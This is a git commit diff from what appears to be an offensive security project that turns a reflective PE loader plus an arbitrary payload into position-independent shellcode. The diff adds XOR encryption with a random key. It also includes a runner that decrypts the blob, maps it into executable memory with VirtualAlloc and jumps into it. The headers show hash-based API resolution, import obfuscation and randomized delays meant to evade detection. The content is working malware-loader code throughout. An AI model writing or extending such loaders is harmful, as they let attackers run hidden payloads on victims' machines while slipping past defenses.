randomized XOR & organized common headers

This commit is contained in:
17ms 2024-01-05 21:02:01 +02:00
parent b3a4f0f51c
commit ee6da55d83
7 changed files with 65 additions and 150 deletions

View File

@ -1,12 +1,6 @@
#include <windows.h>
#include <getopt.h>
#include <iostream>
#include <fstream>
#include <vector>
#include <cstdint>
#include "generator.hpp"
#include "../shared/crypto.hpp"
#include "../shared/futils.hpp"
int main(int argc, char **argv)
{
@ -68,26 +62,12 @@ int main(int argc, char **argv)
std::cout << "[+] Payload path: " << payloadPath << std::endl;
std::cout << "[+] Output path: " << outputPath << std::endl;
LPBYTE loaderContents;
DWORD loaderSize;
if (!GetFileContents(loaderPath, &loaderContents, &loaderSize))
{
return 1;
}
LPBYTE payloadContents;
DWORD payloadSize;
if (!GetFileContents(payloadPath, &payloadContents, &payloadSize))
{
return 1;
}
auto loaderContents = ReadFromFile(loaderPath);
auto payloadContents = ReadFromFile(payloadPath);
// Compose the complete shellcode from loader, payload, and bootstrap
std::vector<BYTE> bootstrap;
DWORD bootstrapSize = BOOTSTRAP_LEN;
DWORD funcParameterHash = CalculateHash(funcParameter);
/*
@ -173,7 +153,7 @@ int main(int argc, char **argv)
bootstrap.push_back(0x49);
bootstrap.push_back(0x81);
bootstrap.push_back(0xc0);
auto funcParameterOffset = (bootstrapSize - 5) + loaderSize + payloadSize;
auto funcParameterOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size() + payloadContents.size();
for (size_t i = 0; i < sizeof(funcParameterOffset); i++)
{
@ -192,7 +172,7 @@ int main(int argc, char **argv)
bootstrap.push_back(0x48);
bootstrap.push_back(0x81);
bootstrap.push_back(0xc1);
auto payloadOffset = (bootstrapSize - 5) + loaderSize;
auto payloadOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size();
for (size_t i = 0; i < sizeof(payloadOffset); i++)
{
@ -205,7 +185,7 @@ int main(int argc, char **argv)
// Call <reflectiveLoaderAddress> -> Call the reflective loader address
bootstrap.push_back(0xe8);
auto reflectiveLoaderAddress = (bootstrapSize - 5) + loaderSize;
auto reflectiveLoaderAddress = (BOOTSTRAP_LEN - 5) + loaderContents.size();
for (size_t i = 0; i < sizeof(reflectiveLoaderAddress); i++)
{
@ -235,15 +215,15 @@ int main(int argc, char **argv)
bootstrap.push_back(0x90);
bootstrap.push_back(0x90);
if (bootstrap.size() != bootstrapSize)
if (bootstrap.size() != BOOTSTRAP_LEN)
{
std::cout << "[!] Bootstrap size mismatch: " << bootstrap.size() << " != " << bootstrapSize << std::endl;
std::cout << "[!] Bootstrap size mismatch: " << bootstrap.size() << " != " << BOOTSTRAP_LEN << std::endl;
return 1;
}
std::cout << "[+] Bootstrap size: " << bootstrap.size() << std::endl;
std::cout << "[+] Loader size: " << loaderSize << std::endl;
std::cout << "[+] Payload size: " << payloadSize << std::endl;
std::cout << "[+] Loader size: " << loaderContents.size() << std::endl;
std::cout << "[+] Payload size: " << payloadContents.size() << std::endl;
/*
Form the complete shellcode with the following structure:
@ -253,67 +233,26 @@ int main(int argc, char **argv)
- User data
*/
bootstrap.insert(bootstrap.end(), loaderContents, loaderContents + loaderSize);
bootstrap.insert(bootstrap.end(), payloadContents, payloadContents + payloadSize);
bootstrap.insert(bootstrap.end(), loaderContents.begin(), loaderContents.end());
bootstrap.insert(bootstrap.end(), payloadContents.begin(), payloadContents.end());
std::cout << "[+] Total shellcode size: " << bootstrap.size() << std::endl;
// XOR with a random content length key
std::cout << "[+] XOR'ing the shellcode..." << std::endl;
auto key = GenerateKey(bootstrap.size());
XorCipher(bootstrap, key);
if (!WriteFileContents(outputPath, bootstrap.data(), bootstrap.size()))
{
return 1;
}
std::cout << "[+] Total XOR'd shellcode size: " << bootstrap.size() << std::endl;
auto srcUuid = GenerateUuid();
std::cout << "[+] AES key derivation UUID: " << srcUuid << std::endl;
WriteToFile(outputPath, bootstrap);
std::cout << "[+] Wrote the final shellcode to " << outputPath << std::endl;
std::cout << "[+] " << std::endl;
auto keyPath = outputPath + ".key";
WriteToFile(keyPath, key);
std::cout << "[+] Wrote the XOR key to " << keyPath << std::endl;
return 0;
}
BOOL GetFileContents(std::string filePath, LPBYTE *fileContents, DWORD *fileSize)
{
std::ifstream infile(filePath, std::ios::binary | std::ios::ate);
if (!infile)
{
std::cout << "[!] Failed to open file for reading: " << filePath << std::endl;
return FALSE;
}
*fileSize = static_cast<DWORD>(infile.tellg());
infile.seekg(0, std::ios::beg);
*fileContents = new BYTE[*fileSize];
infile.read(reinterpret_cast<char *>(*fileContents), *fileSize);
infile.close();
return TRUE;
}
BOOL WriteFileContents(std::string filePath, LPBYTE fileContents, DWORD fileSize)
{
std::ofstream outfile(filePath, std::ios::binary);
if (!outfile)
{
std::cout << "[!] Failed to open file for writing: " << filePath << std::endl;
return FALSE;
}
outfile.write(reinterpret_cast<char *>(fileContents), fileSize);
if (!outfile.good())
{
std::cout << "[!] Failed to write the contents: " << filePath << std::endl;
return FALSE;
}
outfile.close();
return TRUE;
}
void PrintHelp(char **argv)
{
std::cout << "Usage: " << argv[0] << " [ARGUMENTS] [OPTIONS]" << std::endl;

View File

@ -1,12 +1,9 @@
#pragma once
#include <windows.h>
#include <string>
#include <getopt.h>
#include <iostream>
#define BOOTSTRAP_LEN 79
// Utils
BOOL GetFileContents(std::string filePath, LPBYTE *fileContents, DWORD *fileSize);
BOOL WriteFileContents(std::string filePath, LPBYTE fileContents, DWORD fileSize);
constexpr auto BOOTSTRAP_LEN = 79;
void PrintHelp(char **argv);

View File

@ -1,14 +1,15 @@
#include <windows.h>
#include <iostream>
#include <fstream>
#include "../shared/futils.hpp"
#include "../shared/crypto.hpp"
#define VERBOSE 1
int main(int argc, char **argv)
{
if (argc != 2)
if (argc != 3)
{
std::cout << "[?] Usage: " << argv[0] << " <shellcode-path>" << std::endl;
std::cout << "[?] Usage: " << argv[0] << " <shellcode-path> <xor-keyfile-path>" << std::endl;
return 1;
}
@ -16,41 +17,40 @@ int main(int argc, char **argv)
std::cout << "[+] Reading shellcode from " << argv[1] << std::endl;
#endif
std::ifstream shellcode(argv[1]);
auto shellcodeContents = ReadFromFile(argv[1]);
if (!shellcode.is_open())
{
std::cout << "[!] Failed to open " << argv[1] << std::endl;
return 1;
}
#ifdef VERBOSE
std::cout << "[+] Reading XOR key from " << argv[2] << std::endl;
#endif
shellcode.seekg(0, std::ios::end);
size_t filesize = shellcode.tellg();
shellcode.seekg(0, std::ios::beg);
auto key = ReadFromFile(argv[2]);
auto buffer = new char[filesize];
shellcode.read(buffer, filesize);
#ifdef VERBOSE
std::cout << "[+] XOR'ing shellcode" << std::endl;
#endif
auto base = VirtualAlloc(nullptr, filesize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
XorCipher(shellcodeContents, key);
if (!base)
auto baseAddress = VirtualAlloc(nullptr, shellcodeContents.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!baseAddress)
{
std::cout << "[!] Failed to allocate memory" << std::endl;
return 1;
}
#ifdef VERBOSE
std::cout << "[+] Allocated " << filesize << " bytes at " << base << std::endl;
std::cout << "[+] Allocated " << shellcodeContents.size() << " bytes at " << baseAddress << std::endl;
#endif
std::copy(buffer, buffer + filesize, static_cast<char *>(base));
std::copy(shellcodeContents.begin(), shellcodeContents.end(), static_cast<char *>(baseAddress));
#ifdef VERBOSE
std::cout << "[+] Copied shellcode to " << base << std::endl;
std::cout << "[+] Executing 'jmp " << base << "'" << std::endl;
std::cout << "[+] Copied shellcode to " << baseAddress << std::endl;
std::cout << "[+] Executing 'jmp " << baseAddress << "'" << std::endl;
#endif
__asm__("jmp *%0" ::"r"(base));
__asm__("jmp *%0" ::"r"(baseAddress));
return 0;
}

View File

@ -1,10 +1,3 @@
#include <windows.h>
#include <winternl.h>
#include <vector>
#include <tuple>
#include <algorithm>
#include <random>
#include "loader.hpp"
#include "../shared/crypto.hpp"

View File

@ -2,7 +2,7 @@
#include <windows.h>
#include <winternl.h>
#include <random>
#include <algorithm>
constexpr auto MAX_IMPORT_DELAY_MS = 6 * 1000;
constexpr auto OBFUSCATE_IMPORTS = 1;
@ -62,12 +62,10 @@ struct _IMAGE_RELOC
using IMAGE_RELOC = _IMAGE_RELOC;
using PIMAGE_RELOC = _IMAGE_RELOC *;
// Utils
PBYTE GetModuleAddressFromHash(DWORD dwHash);
HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 &eng);
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage);
// Loader functions
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders);
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta);
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 &eng);

View File

@ -1,41 +1,26 @@
#include <winternl.h>
#include <random>
#include <sstream>
#include "crypto.hpp"
std::string GenerateUuid()
std::vector<BYTE> GenerateKey(size_t keysize)
{
// Source: https://stackoverflow.com/a/60198074/15310712
std::stringstream ss;
std::vector<BYTE> key(keysize, 0);
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<> dis(0, 15);
std::uniform_int_distribution<> dis2(8, 11);
std::uniform_int_distribution<> dis(0, 255);
ss << std::hex;
auto generateHex = [&](int count)
for (size_t i = 0; i < key.size(); ++i)
{
for (int i = 0; i < count; ++i)
{
ss << dis(gen);
key[i] = static_cast<BYTE>(dis(gen));
}
};
generateHex(8);
ss << "-";
generateHex(4);
ss << "-4";
generateHex(3);
ss << "-";
ss << dis2(gen);
generateHex(3);
ss << "-";
generateHex(12);
return key;
}
return ss.str();
void XorCipher(std::vector<BYTE> &data, const std::vector<BYTE> &key)
{
for (auto i = 0; i < data.size(); i++)
{
data[i] = data[i] ^ key[i % key.size()];
}
}
DWORD CalculateHash(const std::string &source)

View File

@ -1,10 +1,13 @@
#pragma once
#include <windows.h>
#include <winternl.h>
#include <string>
#include <random>
constexpr auto HASH_KEY = 5381;
std::string GenerateUuid();
std::vector<BYTE> GenerateKey(size_t keysize);
void XorCipher(std::vector<BYTE> &data, const std::vector<BYTE> &key);
DWORD CalculateHash(const std::string &source);
DWORD CalculateHash(const UNICODE_STRING &baseDllName);